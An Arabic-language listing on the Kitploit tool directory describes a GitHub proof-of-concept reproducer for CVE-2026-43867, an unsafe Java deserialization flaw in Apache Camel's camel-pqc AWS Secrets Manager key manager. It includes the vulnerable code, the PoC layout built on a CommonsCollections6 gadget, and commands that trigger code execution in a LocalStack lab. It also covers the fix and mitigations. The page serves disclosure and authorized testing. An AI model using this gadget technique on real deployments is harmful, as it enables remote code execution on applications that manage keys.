Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-43867 — مُعيد إنتاج لـ CVE-2026-43867 — إلغاء تسلسل غير آمن لبيانات تعريف المفاتيح في Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager (RCE) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-43867
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن السحابةاستغلال الملفات الثنائية
GitHuboscerd/cve-2026-43867

CVE-2026-43867

مُعيد إنتاج لـ CVE-2026-43867 — إلغاء تسلسل غير آمن لبيانات تعريف المفاتيح في Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager (RCE)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

camel-pqc: أداة إعادة إنتاج إلغاء التسلسل غير الآمن لبيانات تعريف المفاتيح في AWS Secrets Manager (CVE-2026-43867)

يعرض هذا المشروع ثغرة إلغاء تسلسل في Java في مكوّن camel-pqc من Apache Camel، ويُتتبَّع باسم CVE-2026-43867. يقوم AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() بقراءة بيانات تعريف المفاتيح ما بعد-الكمومية (post-quantum) من سرٍّ مخزَّن في AWS Secrets Manager، وذلك بفكّ ترميز القيمة المخزنة من Base64 و إلغاء تسلسلها (deserializing) عبر java.io.ObjectInputStream.readObject() خام دون أي ObjectInputFilter — والتحويل إلى KeyMetadata يحدث فقط بعد عودة readObject()، لذا فإن أي آثار جانبية لـ readObject() تُنفَّذ أولاً. يمكن لأي جهة تملك حق الكتابة إلى ذلك السرّ (secretsmanager:PutSecretValue) تخزين كائنٍ مُسلسَلٍ معدّ بعناية (crafted serialized object) يتم إلغاء تسلسله أثناء عمليات دورة حياة المفاتيح العادية، ما قد يؤدي إلى تنفيذ برمجيات (code execution).

الإعلان الأمني: https://camel.apache.org/security/CVE-2026-43867.html

ملخص الثغرة

نفس العيب الموجود في CVE-2026-46590 (أُبلغ عنه بشكل مستقل؛ ويغطي هذا الإعلان أيضًا مُديري HashiCorp Vault والمدير المعتمد على الملفات)، وهو أيضًا تكملة لمعالجة غير مكتملة لـ CVE-2026-40048 (CAMEL-23200)، الذي غيّر FileBasedKeyLifecycleManager إلى صيغة JSON/PKCS#8/X.509 لكنه لم يُضف ObjectInputFilter ولم يغطِّ مديري AWS/Vault.

التفاصيل الفنية

root@kitploit:~
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
    byte[] data = Base64.getDecoder().decode(base64);
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
    try (ObjectInputStream ois = new ObjectInputStream(bais)) {   // NO ObjectInputFilter
        return (KeyMetadata) ois.readObject();                    // gadget fires here, before the cast
    }
}

يقرأ getKeyMetadata(keyId) السرَّ المسموّى <keyPrefix>/<keyId>/metadata، ويحلل غلافه بصيغة JSON ({"metadata":"<base64>","keyId":...,"algorithm":...})، ثم يمرّر حقل metadata إلى deserializeMetadata. يُدخل الإصلاح (4.18.3 / 4.21.0) مُرمِّزًا مشتركًا باسم KeyMetadataCodec يخزّن بيانات التعريف بصيغة JSON لجميع المُديرين، ويقيّد قراءات ObjectInputStream القديمة المتبقية باستخدام قائمة سماح ObjectInputFilter.

المهاجِم مقابل الضحية

الضحية هي التطبيق الذي يدير مفاتيح PQC عبر مدير AWS. المهاجِم هو أي جهة تملك صلاحية كتابة سرّ بيانات التعريف (secretsmanager:PutSecretValue). يستخدم هذا الإثبات البرهاني (PoC) LocalStack لمحاكاة AWS Secrets Manager؛ وتعرض نقطة النهاية /exploit/attack سرَّ بيانات تعريف معدًّا بعناية ثم تُشغّل مسار القراءة لدى المُدير.

root@kitploit:~
CVE-2026-43867/
├── pom.xml                 # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile              # runs the app (--add-opens for gadget build)
├── docker-compose.yml      # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during readObject()
    │   └── ExploitController.java  # writes the crafted secret, then calls getKeyMetadata()
    └── resources/
        └── application.properties

في هجوم حقيقي، تُنتَج البايتات المُسلسَلة خارجيًا بواسطة المهاجِم (مثلًا باستخدام ysoserial). هذا الإثبات البرهاني يبني الـ gadget داخل العملية (in-process)، ولهذا تعمل JVM مع --add-opens java.base/java.util=ALL-UNNAMED — وهو تفصيل خاص ببناء الـ gadget، لا علاقة له بالثغرة.

المتطلبات الأساسية

  • Java 17+ وMaven 3.8+
  • Docker (لتشغيل LocalStack والتطبيق)

خطوات إعادة الإنتاج

الخطوة 1: البناء والتشغيل

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

يُشغّل هذا LocalStack (لمحاكاة AWS Secrets Manager) وتطبيق إعادة الإنتاج، الذي يوجّه AwsSecretsManagerKeyLifecycleManager الخاص به إلى LocalStack عبر تجاوز نقطة النهاية.

الخطوة 2: تشغيل إلغاء التسلسل (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
#    getKeyMetadata() threw java.lang.ClassCastException  (expected — the gadget runs during readObject ...)
#
#    >>> RCE proof — /tmp/pwned exists: true

الخطوة 3: التحقق

root@kitploit:~
docker exec cve-2026-43867 ls -la /tmp/pwned

التنظيف

root@kitploit:~
docker compose down

نواقل الهجوم

أي تطبيق يستخدم AwsSecretsManagerKeyLifecycleManager ويمكن لجهة غير هوية التطبيق الموثوقة نفسها الكتابةَ إلى سرّ بيانات تعريف مفاتيحه. يحدث إلغاء التسلسل أثناء عمليات دورة حياة المفاتيح العادية (getKeyMetadata, loadExistingKeys, listKeys, فحوصات التدوير، …).

شروط الاستغلال

  1. تطبيق يستخدم AwsSecretsManagerKeyLifecycleManager من camel-pqc على إصدار متأثر.
  2. يستطيع المهاجِم الكتابة على سرّ بيانات التعريف (secretsmanager:PutSecretValue عليه).
  3. مكتبة gadget موجودة على classpath (هنا commons-collections:3.2.1).

الإصلاح الموصى به

الترقية إلى 4.18.3 / 4.21.0 (CAMEL-23726). تُخزَّن بيانات التعريف بصيغة JSON، وأي قراءات ObjectInputStream قديمة متبقية تُقيَّد باستخدام قائمة سماح ObjectInputFilter.

إجراءات تخفيفية مؤقتة

إلى حين الترقية:

  1. قيّد صلاحية secretsmanager:PutSecretValue على سرّ بيانات تعريف camel-pqc لتصبح لهوية التطبيق نفسه فقط (IAM بأقل امتياز).
  2. أبقِ مواد مفاتيح PQC في سرّ منفصل عن أي بيانات يمكن لجهات أقل موثوقية الكتابةَ عليها.
  3. أزل مكتبات gadget من classpath (رقِّ أو أزل commons-collections 3.x وما يشابهها).

إخلاء مسؤولية

يُقدَّم هذا الإثبات البرهاني لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة مكشوفة علنًا ومُصحَّحة. لا تستخدمه ضد أنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكوّنcamel-pqc (AwsSecretsManagerKeyLifecycleManager)
الفئة المتأثرةorg.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
الأثرتنفيذ برمجيات داخل التطبيق المُدير للمفاتيح (يتطلب صلاحية كتابة على سرّ بيانات التعريف)
الإصدارات المتأثرةمن 4.18.0 قبل 4.18.3، ومن 4.19.0 قبل 4.21.0
الإصدارات المُصحَّحة4.18.3، 4.21.0 (camel-pqc غير مدرج في خط الدعم طويل الأمد 4.14.x LTS)
JIRACAMEL-23726
المبلِّغVenkatraman Kumar (Securin)